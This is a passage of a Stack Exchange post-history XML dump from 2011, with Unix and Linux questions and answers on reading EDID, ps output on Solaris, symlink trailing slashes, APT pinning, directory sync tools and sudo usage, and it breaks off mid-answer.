  <row Id="18162" PostHistoryTypeId="2" PostId="7763" RevisionGUID="34e0474e-6259-4bdc-9679-7f850972e3cf" CreationDate="2011-02-21T11:02:38.047" UserId="4843" Text="Hello,&#xD;&#xA;&#xD;&#xA;From the link: http://en.wikipedia.org/wiki/Extended_display_identification_data &#xD;&#xA;&#xD;&#xA;&quot;The EDID is often stored in the monitor in a memory device called a serial PROM (programmable read-only memory) or EEPROM (electrically erasable PROM) and is accessible via the I²C bus at address 0x50.[1] The EDID PROM can often be read by the host PC even if the display itself is turned off.&quot;.&#xD;&#xA;&#xD;&#xA;But I don't know, how to read this information.&#xD;&#xA;&#xD;&#xA;Does somebody help me in this regard ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Satish" />
  <row Id="18163" PostHistoryTypeId="1" PostId="7763" RevisionGUID="34e0474e-6259-4bdc-9679-7f850972e3cf" CreationDate="2011-02-21T11:02:38.047" UserId="4843" Text="Reading EDID from EEPROM" />
  <row Id="18164" PostHistoryTypeId="3" PostId="7763" RevisionGUID="34e0474e-6259-4bdc-9679-7f850972e3cf" CreationDate="2011-02-21T11:02:38.047" UserId="4843" Text="élinuxàéembeddedà" />
  <row Id="18165" PostHistoryTypeId="2" PostId="7764" RevisionGUID="d2df82b4-f05f-4612-b5b0-cfc42c5cc4e2" CreationDate="2011-02-21T11:11:58.693" UserId="4241" Text="I used [Hadoop FS][1] some time ago.&#xD;&#xA;&#xD;&#xA;For instance, Hadoop documentation seems to be better than DCE/DFS. Also, it's developed actively. Earlier IBM provided support for DCE, but not anymore, at least actively. Point-to-point comparison is pretty hard, as I couldn't find any good feature lists for DCE/DFS. For Hadoop, see for example [user guide][2].&#xD;&#xA;&#xD;&#xA;Second, Hadoop with [MapReduce][3] provide powerful distributed computation platform.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hadoop.apache.org/hdfs/&#xD;&#xA;  [2]: http://hadoop.apache.org/common/docs/r0.18.3/hdfs_user_guide.html&#xD;&#xA;  [3]: http://hadoop.apache.org/mapreduce/" />
  <row Id="18166" PostHistoryTypeId="2" PostId="7765" RevisionGUID="f285979a-e959-4c9f-b44b-6b8d1791dad6" CreationDate="2011-02-21T11:20:03.173" UserId="4241" Text="If there is only few people who you want to highlight, you can just add multiple hilights. For help with hilight, see&#xD;&#xA;&#xD;&#xA;    /help hilight&#xD;&#xA;&#xD;&#xA;If that's not practical, [trigger.pl][1] can help you.&#xD;&#xA;&#xD;&#xA;  [1]: http://scripts.irssi.org/html/trigger.pl.html" />
  <row Id="18167" PostHistoryTypeId="25" PostId="7742" RevisionGUID="c550dcde-cf05-497c-801a-43b3d3cc19a8" CreationDate="2011-02-21T11:23:14.183" Comment="http://twitter.com/#!/StackUnix/status/39646321547816960" />
  <row Id="18169" PostHistoryTypeId="2" PostId="7766" RevisionGUID="a46fb88b-2317-48d4-b9b5-947d6e285372" CreationDate="2011-02-21T11:25:41.230" UserId="4241" Text="`reboot` and `shutdown` are pseudo-users for system reboot and shutdown, respectively. That's mechanism for logging that information, with kernel versions to same place, without creating any special formats to wtmp binary file.&#xD;&#xA;&#xD;&#xA;Quote from `man wtmp`:&#xD;&#xA;&#xD;&#xA;&gt; The  wtmp  file  records  all logins and logouts.  Its format is exactly like utmp except that a null username indicates a logout on the associated terminal.  Furthermore, the terminal name ~ with username shutdown or reboot indicates a system shutdown or reboot and the pair of terminal names |/} logs the old/new system time when date(1) changes it." />
  <row Id="18170" PostHistoryTypeId="5" PostId="7756" RevisionGUID="8862240d-51ce-4c56-91e9-e9168d71ad55" CreationDate="2011-02-21T11:43:59.593" UserId="3169" Comment="added 657 characters in body; added 3 characters in body; added 11 characters in body" Text="In [&quot;Advanced Programming in the UNIX Environment&quot;][1], W. Richard Stevens says it is a performance optimization:&#xD;&#xA;&#xD;&#xA;&gt; By specifying the highest descriptor we're interested in, the kernel can avoid going through hundred of unused bits in the three descriptor sets, looking for bits that are turned on.&#xD;&#xA;&#xD;&#xA;(1st edition, page 399)&#xD;&#xA;&#xD;&#xA;If you are doing any kind of UNIX systems programming, the APUE book is highly recommended.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UPDATE&#xD;&#xA;&#xD;&#xA;An `fd_set` is usually able to track up to 1024 file descriptors.&#xD;&#xA;&#xD;&#xA;The most efficient way to track which `fds` are set to `0` and which are set to `1` would be a bitset, so each `fd_set` would consist of 1024 bits.&#xD;&#xA;&#xD;&#xA;On a 32-bit system, a long int (or &quot;word&quot;) is 32 bits, so that means each `fd_set` is  &#xD;&#xA;1024 / 32 = 32 words.&#xD;&#xA;&#xD;&#xA;If `nfds` is something small, such as 8 or 16, which it would be in many applications, it only needs to look inside the 1st word, which should clearly be faster than looking inside all 32.&#xD;&#xA;&#xD;&#xA;(See `FD_SETSIZE` and `__NFDBITS` from `/usr/include/sys/select.h` for the values on your platform.)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apuebook.com/" />
  <row Id="18172" PostHistoryTypeId="2" PostId="7767" RevisionGUID="bc3dd34f-5d59-4090-b209-212db2ecd4a2" CreationDate="2011-02-21T12:12:09.563" UserId="4950" Text="I am logging into a solaris server, switching to bash, then switching to another user &quot;sruser&quot; and switching to bash.&#xD;&#xA;&#xD;&#xA;&quot;/home/batch/sruser/&quot; is the home directory of the user &quot;sruser&quot;.&#xD;&#xA;&#xD;&#xA;The issue is ps is not giving any output when run in the home directory - &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # pwd&#xD;&#xA;     /home/batch/sruser/&#xD;&#xA;    # ps&#xD;&#xA;    # cd dir1&#xD;&#xA;     /home/batch/sruser/dir1&#xD;&#xA;    # ps &#xD;&#xA;       PID TTY      TIME CMD&#xD;&#xA;     17867 pts/1789 0:00 bash&#xD;&#xA;     17165 pts/1789 0:00 ksh&#xD;&#xA;     20435 pts/1789 0:00 ps&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Don't know what could be the issue. Don't even know where to start looking for whatever could be the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18173" PostHistoryTypeId="1" PostId="7767" RevisionGUID="bc3dd34f-5d59-4090-b209-212db2ecd4a2" CreationDate="2011-02-21T12:12:09.563" UserId="4950" Text="ps command not giving output in a particular directory" />
  <row Id="18174" PostHistoryTypeId="3" PostId="7767" RevisionGUID="bc3dd34f-5d59-4090-b209-212db2ecd4a2" CreationDate="2011-02-21T12:12:09.563" UserId="4950" Text="ésolarisàépsà" />
  <row Id="18175" PostHistoryTypeId="4" PostId="7767" RevisionGUID="6f6eda5c-2506-4fde-a4b2-b24b5723d42f" CreationDate="2011-02-21T12:18:01.853" UserId="4950" Comment="edited title; edited body" Text="ps command not giving output in home directory" />
  <row Id="18176" PostHistoryTypeId="5" PostId="7767" RevisionGUID="6f6eda5c-2506-4fde-a4b2-b24b5723d42f" CreationDate="2011-02-21T12:18:01.853" UserId="4950" Comment="edited title; edited body" Text="I am logging into a solaris server, switching to bash, then switching to another user &quot;sruser&quot; and switching to bash.&#xD;&#xA;&#xD;&#xA;`/home/batch/sruser/` is the home directory of the user &quot;sruser&quot;.&#xD;&#xA;&#xD;&#xA;The issue is ps is not giving any output when run in the home directory - &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # pwd&#xD;&#xA;     /home/batch/sruser/&#xD;&#xA;    # ps&#xD;&#xA;    # cd dir1&#xD;&#xA;     /home/batch/sruser/dir1&#xD;&#xA;    # ps &#xD;&#xA;       PID TTY      TIME CMD&#xD;&#xA;     17867 pts/1789 0:00 bash&#xD;&#xA;     17165 pts/1789 0:00 ksh&#xD;&#xA;     20435 pts/1789 0:00 ps&#xD;&#xA;    #&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Don't know what could be the issue. Don't even know where to start looking for whatever could be the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18177" PostHistoryTypeId="5" PostId="2843" RevisionGUID="2da7f304-8bdc-4877-9a99-275840fc862b" CreationDate="2011-02-21T12:27:08.290" UserId="688" Comment="grammar, typos, clarification" Text="It's hard to say whether it works without actually testing it. I'd grab the [Live CD][1] matching the version of Debian you want to run and test it. Debian emphasizes stability and therefore it's releases normally lags behind when it comes to kernel versions and other applications. That means they might not work while more up-to-date distributions like e.g. Ubuntu 10.4 LTS server edition (or unreleased Debian versions, like Sid) may work better. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://live.debian.net/" />
  <row Id="18178" PostHistoryTypeId="5" PostId="3966" RevisionGUID="69f38bdd-9c9d-4edc-a483-0ab7ce54782c" CreationDate="2011-02-21T12:31:10.593" UserId="688" Comment="make this more correct" Text="For Debian/Ubuntu&#xD;&#xA;&#xD;&#xA;    aptitude install firefox&#xD;&#xA;&#xD;&#xA;For Fedora i think it is &#xD;&#xA;&#xD;&#xA;    yum install firefox&#xD;&#xA;&#xD;&#xA;[**note**] Run these as [root][1].&#xD;&#xA;&#xD;&#xA;[1]:http://unix.stackexchange.com/questions/3063" />
  <row Id="18179" PostHistoryTypeId="2" PostId="7768" RevisionGUID="97f9bb2a-f712-4226-90ae-d7e689340d0c" CreationDate="2011-02-21T12:51:10.377" UserId="76" Text="A few days ago, I was also wondering. I found Xorg implementation, but I didn't look at the details. Also, apparently, the kernel module i2c-dev can be used to read EDID.&#xD;&#xA;&#xD;&#xA;http://cgit.freedesktop.org/xorg/xserver/tree/hw/xfree86/ddc&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18181" PostHistoryTypeId="2" PostId="7769" RevisionGUID="a6d6d663-1bdc-4cc3-9594-4655b0ea5102" CreationDate="2011-02-21T13:02:12.710" UserId="863" Text="Symlinking to a directory gives to different results with `ls -l` depending on whether I `ln -s dir` or `ln -s dir/`. But what's the actual difference, and which one should I prefer why?" />
  <row Id="18182" PostHistoryTypeId="1" PostId="7769" RevisionGUID="a6d6d663-1bdc-4cc3-9594-4655b0ea5102" CreationDate="2011-02-21T13:02:12.710" UserId="863" Text="Include / in symlink to a directory?" />
  <row Id="18183" PostHistoryTypeId="3" PostId="7769" RevisionGUID="a6d6d663-1bdc-4cc3-9594-4655b0ea5102" CreationDate="2011-02-21T13:02:12.710" UserId="863" Text="édirectoryàésymlinkà" />
  <row Id="18184" PostHistoryTypeId="2" PostId="7770" RevisionGUID="51be2a75-8fdc-45cd-8904-442621cabb50" CreationDate="2011-02-21T13:08:26.257" UserId="688" Text="Suppose that I have enabled [Experimental][1] in my &quot;**/etc/apt/sources.list**&quot;. When I need to install anything from it, I have to explicitly specify on the command:&#xD;&#xA;&#xD;&#xA;    apt-get install wajig&#xD;&#xA;    # vs&#xD;&#xA;    apt-get --target-release experimental install wajig&#xD;&#xA;&#xD;&#xA;Where is such a setting stored? I expected that it would be some sort of pinning, but I can't find anything suggesting such in &quot;**/etc/apt/**&quot;. Also, is it possible to avoid the behavior?&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.debian.org/DebianExperimental" />
  <row Id="18185" PostHistoryTypeId="1" PostId="7770" RevisionGUID="51be2a75-8fdc-45cd-8904-442621cabb50" CreationDate="2011-02-21T13:08:26.257" UserId="688" Text="Where is the setting that sets Experimental repo to lower priority?" />
  <row Id="18186" PostHistoryTypeId="3" PostId="7770" RevisionGUID="51be2a75-8fdc-45cd-8904-442621cabb50" CreationDate="2011-02-21T13:08:26.257" UserId="688" Text="éaptà" />
  <row Id="18187" PostHistoryTypeId="2" PostId="7771" RevisionGUID="658a1d09-4279-4d7f-9a88-13ef5436a5c9" CreationDate="2011-02-21T13:19:53.757" UserId="4952" Text="You may want to try &#xD;&#xA;&#xD;&#xA;http://polypux.org/projects/read-edid/" />
  <row Id="18188" PostHistoryTypeId="2" PostId="7772" RevisionGUID="f7cfce95-d603-4948-b789-23a23266b1e9" CreationDate="2011-02-21T13:25:32.407" UserId="863" Text="I have huge simulation directories on the two machines `server` and on `cluster` which I want to keep synchronized. The basic situation is that files rarely change but when a simulation is done many big files change at once which I'd like to have synchronized as soon as they are closed.&#xD;&#xA;&#xD;&#xA;Therefore I assume a cronjob using rsync is not ideal, cronjob because it calls rsync at a fixed time interval which I'd probably choose either too large or to small, rsync because it shouldn't have to check for modifications of files since I and the simulation job are the only ones accessing them.&#xD;&#xA;&#xD;&#xA;So my idea would be using inotify (see [this question](http://unix.stackexchange.com/q/5515/863)) to detect changes in the simulation directory in a loop and _then_ fork into a rsync for the changed files. However I'm not sure whether that might accidentally skip files closed just when the fork is done. &lt;sub&gt;(and possibly I'd also end up in an infinite loop due to inotify calling rsync to sync the just synchronized file again...)&lt;/sub&gt; So before I try too much there, I repeat my question:&#xD;&#xA;&#xD;&#xA;&gt; Is there a tool that hooks to two directories and synchronizes them as soon as something changes?&#xD;&#xA;&#xD;&#xA;(basically this would be something like an offline dropbox, I guess)" />
  <row Id="18189" PostHistoryTypeId="1" PostId="7772" RevisionGUID="f7cfce95-d603-4948-b789-23a23266b1e9" CreationDate="2011-02-21T13:25:32.407" UserId="863" Text="Is there a tool that hooks to two directories and synchronizes them as soon as something changes?" />
  <row Id="18190" PostHistoryTypeId="3" PostId="7772" RevisionGUID="f7cfce95-d603-4948-b789-23a23266b1e9" CreationDate="2011-02-21T13:25:32.407" UserId="863" Text="édirectoryàésynchronizationà" />
  <row Id="18191" PostHistoryTypeId="2" PostId="7773" RevisionGUID="d4852f2a-99a6-4b79-a47c-9ca1e1a5674c" CreationDate="2011-02-21T13:25:49.380" UserId="688" Text="Running `cat /etc/apt/apt.conf` gives:&#xD;&#xA;&#xD;&#xA;    APT::Default-Release &quot;squeeze&quot;;&#xD;&#xA;&#xD;&#xA;I thought doing that would disallow the command `apt-get install wajig` to work, if a newer version was available anywhere but **Squeeze**.&#xD;&#xA;&#xD;&#xA;How do I set up APT so that such a version would require me to specify the repository name in order to install it (e.g. `apt-get --target-release testing wajig`)?" />
  <row Id="18192" PostHistoryTypeId="1" PostId="7773" RevisionGUID="d4852f2a-99a6-4b79-a47c-9ca1e1a5674c" CreationDate="2011-02-21T13:25:49.380" UserId="688" Text="How to set default APT source" />
  <row Id="18193" PostHistoryTypeId="3" PostId="7773" RevisionGUID="d4852f2a-99a6-4b79-a47c-9ca1e1a5674c" CreationDate="2011-02-21T13:25:49.380" UserId="688" Text="éaptà" />
  <row Id="18194" PostHistoryTypeId="2" PostId="7774" RevisionGUID="3ef2f620-3fe4-4d3a-ab86-d309bb1ad7ff" CreationDate="2011-02-21T13:33:19.743" UserId="29" Text="I poked around and couldn't find anything either, so I asked on IRC&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;&#xD;&#xA;Mamarok: xenoterracide: this is addition tag info, it can't be disbled currently, there already is a bug report for it&#xD;&#xA;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;So maybe it'll be disable-able in 2.5." />
  <row Id="18195" PostHistoryTypeId="2" PostId="7775" RevisionGUID="78de3947-abef-4d32-98cc-cff60a45722d" CreationDate="2011-02-21T13:48:36.313" UserId="4523" Text="Interesing question. I've made small test:&#xD;&#xA;&#xD;&#xA;    $ mkdir dir&#xD;&#xA;    $ ln -s dir/ test_slash&#xD;&#xA;    $ ln -s dir test_noslash&#xD;&#xA;    $ ls -l&#xD;&#xA;    total 4&#xD;&#xA;    drwxr-xr-x 2 vrusinov vrusinov 4096 Feb 21 16:41 dir&#xD;&#xA;    lrwxrwxrwx 1 vrusinov vrusinov    3 Feb 21 16:41 test_noslash -&gt; dir&#xD;&#xA;    lrwxrwxrwx 1 vrusinov vrusinov    4 Feb 21 16:41 test_slash -&gt; dir/&#xD;&#xA;    $ strace ls test_slash 2&gt; trace_slash&#xD;&#xA;    $ strace ls test_noslash 2&gt; trace_noslash&#xD;&#xA;    $ wc -l trace_*&#xD;&#xA;       79 trace_noslash&#xD;&#xA;       79 trace_slash&#xD;&#xA;    $ diff -u trace_* | less&#xD;&#xA;&#xD;&#xA;As you can see, there is no difference in number of system calls (at least for ls) and traces looks very similar.&#xD;&#xA;Howewer, this is just dump test and I'm not sure - there might be some differences." />
  <row Id="18196" PostHistoryTypeId="2" PostId="7776" RevisionGUID="68a31c1d-519a-48bf-8d79-508da9bccab5" CreationDate="2011-02-21T13:51:50.517" UserId="4241" Text="Check out [lsyncd][1].&#xD;&#xA;&#xD;&#xA;&gt; Lsyncd watches a local directory trees event monitor interface (inotify). It aggregates and combines events for a few seconds and then spawns one (or more) process(es) to synchronize the changes. By default this is rsync. Lsyncd is thus a light-weight live mirror solution that is comparatively easy to install not requiring new filesystems or blockdevices and does not hamper local filesystem performance.&#xD;&#xA;&#xD;&#xA;It's not two-way, but from your question I understood you don't need that either. If you need two-way synchronization, [Unison][2] is good answer, except there is no inotify support. Also, check out [this question][3].&#xD;&#xA;&#xD;&#xA;Third thing for two-way synchronization is [DRBD][4], block-level realtime synchronization system, included in mainline kernel. Unfortunately, as it is almost synchronous, it requires fast internet connection.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/lsyncd/&#xD;&#xA;  [2]: http://www.cis.upenn.edu/~bcpierce/unison/&#xD;&#xA;  [3]: http://serverfault.com/questions/156215/please-help-to-find-a-solution-for-two-way-real-time-synchronization-on-centos-5/156270&#xD;&#xA;  [4]: http://www.drbd.org/" />
  <row Id="18197" PostHistoryTypeId="2" PostId="7777" RevisionGUID="074722f9-5d04-4555-bd46-4ad74626a88c" CreationDate="2011-02-21T14:00:15.390" UserId="4843" Text="Hello, &#xD;&#xA;&#xD;&#xA;When we connect or disconnect the USB-device, udev shows/monitors that event.&#xD;&#xA;&#xD;&#xA;But udev is not enough smart to detect the plug-out or plug-in of monitor.&#xD;&#xA;&#xD;&#xA;Is there any way/tool/utility from which I will get the real-time information about the plug-out or plug-in of monitor.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Satish" />
  <row Id="18198" PostHistoryTypeId="1" PostId="7777" RevisionGUID="074722f9-5d04-4555-bd46-4ad74626a88c" CreationDate="2011-02-21T14:00:15.390" UserId="4843" Text="Connected Display Device Information" />
  <row Id="18199" PostHistoryTypeId="3" PostId="7777" RevisionGUID="074722f9-5d04-4555-bd46-4ad74626a88c" CreationDate="2011-02-21T14:00:15.390" UserId="4843" Text="élinuxàéhardwareà" />
  <row Id="18200" PostHistoryTypeId="2" PostId="7778" RevisionGUID="99b7b9ec-ac42-4f1d-a464-d629d46c121f" CreationDate="2011-02-21T14:20:56.317" UserId="2780" Text="The pinning of `experimental` and `backport` is in the repository itself (in the `Release` files). You can change the pinning as you which, but you have to explicitly do it.&#xD;&#xA;&#xD;&#xA;Look in [experimental Release file](http://ftp.debian.org/debian/dists/experimental/Release) the line `NotAutomatic: yes`. It comes from there.&#xD;&#xA;&#xD;&#xA;You can see actual pinning values with `apt-cache policy wajig`." />
  <row Id="18201" PostHistoryTypeId="2" PostId="7779" RevisionGUID="d540d786-e364-4bf8-a128-5a94d2ef61b2" CreationDate="2011-02-21T14:21:48.593" UserId="2000" Text="I think there is no daemon for that. You could however write a script to periodically parse xorg.log or you may be able to use xrandr, but I am not at my Linux box right now, so I can't tell exactly." />
  <row Id="18202" PostHistoryTypeId="25" PostId="7769" RevisionGUID="78f932a0-5742-4d4f-9c56-c54ff40c1291" CreationDate="2011-02-21T14:23:14.567" Comment="http://twitter.com/#!/StackUnix/status/39691620899094528" />
  <row Id="18203" PostHistoryTypeId="5" PostId="7763" RevisionGUID="4f192dfb-5ac7-43f5-8478-b7fee2aeb1c8" CreationDate="2011-02-21T14:39:30.990" UserId="73" Comment="deleted 80 characters in body" Text="From the link: http://en.wikipedia.org/wiki/Extended_display_identification_data &#xD;&#xA;&#xD;&#xA;&gt; The EDID is often stored in the monitor in a memory device called a serial PROM (programmable read-only memory) or EEPROM (electrically erasable PROM) and is accessible via the I²C bus at address 0x50.[1] The EDID PROM can often be read by the host PC even if the display itself is turned off.&#xD;&#xA;&#xD;&#xA;How can I read that information?&#xD;&#xA;" />
  <row Id="18204" PostHistoryTypeId="5" PostId="7777" RevisionGUID="b60d771a-8da5-4788-9883-085e8af3d07a" CreationDate="2011-02-21T15:02:04.503" UserId="73" Comment="deleted 36 characters in body" Text="When I connect or disconnect the USB device, udev shows/monitors that event. But udev is not enough smart to detect the plug-out or plug-in of the monitor. Is there any way/tool/utility from which I will get real-time information about the plug-out or plug-in of a monitor?&#xD;&#xA;" />
  <row Id="18205" PostHistoryTypeId="5" PostId="7766" RevisionGUID="f6b30178-dcd7-4686-87a7-6d4074f58348" CreationDate="2011-02-21T16:13:24.760" UserId="4241" Comment="Answered better to original question." Text="`reboot` and `shutdown` are pseudo-users for system reboot and shutdown, respectively. That's mechanism for logging that information, with kernel versions to same place, without creating any special formats to wtmp binary file.&#xD;&#xA;&#xD;&#xA;Quote from `man wtmp`:&#xD;&#xA;&#xD;&#xA;&gt; The  wtmp  file  records  all logins and logouts.  Its format is exactly like utmp except that a null username indicates a logout on the associated terminal.  Furthermore, the terminal name ~ with username shutdown or reboot indicates a system shutdown or reboot and the pair of terminal names |/} logs the old/new system time when date(1) changes it.&#xD;&#xA;&#xD;&#xA;wtmp binary file do not save other than timestamp for events. For example `last` calculates additional things, such as login times.&#xD;&#xA;    &#xD;&#xA;    reboot   system boot  2.6.32-28-generi Mon Feb 21 17:02 - 18:09  (01:07)    &#xD;&#xA;    ...&#xD;&#xA;    user     pts/0        :0.0             Sat Feb 12 18:52 - 18:52  (00:00)    &#xD;&#xA;    user     tty7         :0               Sat Feb 12 18:52 - 20:53  (02:01)    &#xD;&#xA;    reboot   system boot  2.6.32-28-generi Sat Feb 12 08:31 - 18:09 (9+09:37)   &#xD;&#xA;&#xD;&#xA;Last column (in parenthesis) is length of event. For user `reboot` it's uptime.&#xD;&#xA;&#xD;&#xA;After latest reboot, time is current uptime. For earlier reboots, time is up to current date. Number(s) before + means number of days. In last line it's 9 days, 9 hours and 37 minutes, and in first line current uptime is 1 hour and 7 minutes.&#xD;&#xA;&#xD;&#xA;Note however that this time is not always accurate, for example after system crash and unusual restart sequence. `last` calculates it as time between it and next reboot/shutdown." />
  <row Id="18206" PostHistoryTypeId="5" PostId="7760" RevisionGUID="008e1a8b-2b75-4015-b8b1-70ccc92553c1" CreationDate="2011-02-21T16:20:21.363" UserId="4241" Comment="Added an example and quotes to topic." Text="Can anybody explain me what is the meaning of the last column of the output of the `last` command? I'm particularly interested in its meaning with respect to the `reboot` pseudo-user.&#xD;&#xA;&#xD;&#xA;    reboot   system boot  2.6.32-28-generi Sat Feb 12 08:31 - 18:09 (9+09:37)   &#xD;&#xA;&#xD;&#xA;What does that 9+09:37 mean?" />
  <row Id="18207" PostHistoryTypeId="4" PostId="7760" RevisionGUID="008e1a8b-2b75-4015-b8b1-70ccc92553c1" CreationDate="2011-02-21T16:20:21.363" UserId="4241" Comment="Added an example and quotes to topic." Text="Output of the &quot;last&quot; command" />
  <row Id="18208" PostHistoryTypeId="24" PostId="7760" RevisionGUID="3ee994b7-ee8f-4d30-be17-61c812002ec6" CreationDate="2011-02-21T16:20:21.363" Comment="Proposed by 4241 approved by 73 edit id of 41" />
  <row Id="18209" PostHistoryTypeId="5" PostId="7766" RevisionGUID="7e4e7dcd-a11c-4999-86fa-91848778b179" CreationDate="2011-02-21T16:24:12.777" UserId="4241" Comment="Woops, typo, clarified how time for reboot is calculated." Text="`reboot` and `shutdown` are pseudo-users for system reboot and shutdown, respectively. That's mechanism for logging that information, with kernel versions to same place, without creating any special formats to wtmp binary file.&#xD;&#xA;&#xD;&#xA;Quote from `man wtmp`:&#xD;&#xA;&#xD;&#xA;&gt; The  wtmp  file  records  all logins and logouts.  Its format is exactly like utmp except that a null username indicates a logout on the associated terminal.  Furthermore, the terminal name ~ with username shutdown or reboot indicates a system shutdown or reboot and the pair of terminal names |/} logs the old/new system time when date(1) changes it.&#xD;&#xA;&#xD;&#xA;wtmp binary file do not save other than timestamp for events. For example `last` calculates additional things, such as login times.&#xD;&#xA;    &#xD;&#xA;    reboot   system boot  2.6.32-28-generi Mon Feb 21 17:02 - 18:09  (01:07)    &#xD;&#xA;    ...&#xD;&#xA;    user     pts/0        :0.0             Sat Feb 12 18:52 - 18:52  (00:00)    &#xD;&#xA;    user     tty7         :0               Sat Feb 12 18:52 - 20:53  (02:01)    &#xD;&#xA;    reboot   system boot  2.6.32-28-generi Sat Feb 12 08:31 - 18:09 (9+09:37)   &#xD;&#xA;&#xD;&#xA;Last column (in parenthesis) is length of event. For user `reboot` it's uptime.&#xD;&#xA;&#xD;&#xA;After latest reboot, time is current uptime. For earlier reboots, time is uptime after that reboot (so in last line of my example it's uptime until first line; there was no reboots in between). Number(s) before + means number of days. In last line it's 9 days, 9 hours and 37 minutes, and in first line current uptime is 1 hour and 7 minutes.&#xD;&#xA;&#xD;&#xA;Note however that this time is not always accurate, for example after system crash and unusual restart sequence. `last` calculates it as time between it and next reboot/shutdown." />
  <row Id="18210" PostHistoryTypeId="2" PostId="7780" RevisionGUID="676e9e4c-98a5-4a08-aa50-ee537be6c48c" CreationDate="2011-02-21T16:53:03.300" UserId="1375" Text="What is an equivalent to M$ Paint and MacPaint that works on Linux? There is a BSD-licenced one called [Paintbrush][1] that's great for Mac OS X, but I have not found one on Linux.&#xD;&#xA;&#xD;&#xA;I hope it can be lightweight, i.e. few dependencies, don't need GNOME, KDE, etc., but anything is fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://paintbrush.sourceforge.net/" />
  <row Id="18211" PostHistoryTypeId="1" PostId="7780" RevisionGUID="676e9e4c-98a5-4a08-aa50-ee537be6c48c" CreationDate="2011-02-21T16:53:03.300" UserId="1375" Text="Lightweight M$ Paint/MacPaint equivalent FLOSS in Linux?" />
  <row Id="18212" PostHistoryTypeId="3" PostId="7780" RevisionGUID="676e9e4c-98a5-4a08-aa50-ee537be6c48c" CreationDate="2011-02-21T16:53:03.300" UserId="1375" Text="élightweightàéfreeösoftwareàépaintàéimageàédrawingà" />
  <row Id="18214" PostHistoryTypeId="5" PostId="7780" RevisionGUID="37b634d5-0071-4196-a894-354914bd2a0a" CreationDate="2011-02-21T17:10:51.550" UserId="1207" Comment="edited body; edited tags; edited tags; edited title" Text="What is an equivalent to MS Paint and MacPaint that works on Linux? There is a BSD-licenced one called [Paintbrush][1] that's great for Mac OS X, but I have not found one on Linux.&#xD;&#xA;&#xD;&#xA;I hope it can be lightweight, i.e. few dependencies, don't need GNOME, KDE, etc., but anything is fine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://paintbrush.sourceforge.net/" />
  <row Id="18215" PostHistoryTypeId="6" PostId="7780" RevisionGUID="37b634d5-0071-4196-a894-354914bd2a0a" CreationDate="2011-02-21T17:10:51.550" UserId="1207" Comment="edited body; edited tags; edited tags; edited title" Text="ésoftwareörecàéimageöeditoràélightweightàéfreeösoftwareàédrawingà" />
  <row Id="18216" PostHistoryTypeId="4" PostId="7780" RevisionGUID="37b634d5-0071-4196-a894-354914bd2a0a" CreationDate="2011-02-21T17:10:51.550" UserId="1207" Comment="edited body; edited tags; edited tags; edited title" Text="Lightweight MS Paint/MacPaint equivalent FLOSS in Linux?" />
  <row Id="18217" PostHistoryTypeId="2" PostId="7782" RevisionGUID="f95d15fa-1be5-431c-91b7-24050071f893" CreationDate="2011-02-21T17:18:56.953" UserId="2511" Text="If you are using Red Hat Enterprise Linux, it happens that the package you are looking for is in [EPEL][1], so you can install that:&#xD;&#xA;&#xD;&#xA;    sudo rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-4.noarch.rpm&#xD;&#xA;&#xD;&#xA;and then you can `yum install ncdu`.&#xD;&#xA;&#xD;&#xA;If you are using ancient Red Hat Linux, the answer is _for the love of all that is holy_, time to upgrade to Fedora.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fedoraproject.org/wiki/EPEL&#xD;&#xA;" />
  <row Id="18218" PostHistoryTypeId="25" PostId="7780" RevisionGUID="970618b3-1c59-4183-9e1d-c69ab3ed0bdc" CreationDate="2011-02-21T17:23:14.543" Comment="http://twitter.com/#!/StackUnix/status/39736919839473665" />
  <row Id="18219" PostHistoryTypeId="5" PostId="3064" RevisionGUID="1793293f-ef9a-4893-b2ee-326c32afa5b0" CreationDate="2011-02-21T17:33:20.480" UserId="1899" Comment="deleted 8 characters in body" Text="The main two possibilities are:&#xD;&#xA;&#xD;&#xA;* Use **`su`** and enter the root password when prompted.&#xD;&#xA;* Put **`sudo`** in front of the command, and enter your password when prompted.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;# Running a command as root&#xD;&#xA;&#xD;&#xA;## sudo&#xD;&#xA;&#xD;&#xA;This is the preferred method on most multi-user systems and on **Ubuntu**. If you don't know a separate root password, use this method.&#xD;&#xA;&#xD;&#xA;Sudo requires that you type your own password. (The purpose is to limit the damage if you leave your keyboard unattended and unlocked.) It is often configured to not ask again for a few minutes so you can run several `sudo` commands in succession.&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    sudo service apache restart&#xD;&#xA;&#xD;&#xA;If you need to run several commands as root, prefix each of them with `sudo`. Sometimes, it is more convenient to run an interactive shell as root. You can use `sudo -i` for that:&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # command 1&#xD;&#xA;    # command 2&#xD;&#xA;    ...&#xD;&#xA;    # exit&#xD;&#xA;&#xD;&#xA;Instead of `sudo -i`, you can use `sudo -s`. The difference is that `-i` re&lt;strong&gt;i&lt;/strong&gt;nitializes the environment to sane defaults, whereas `-s` uses your configuration files for 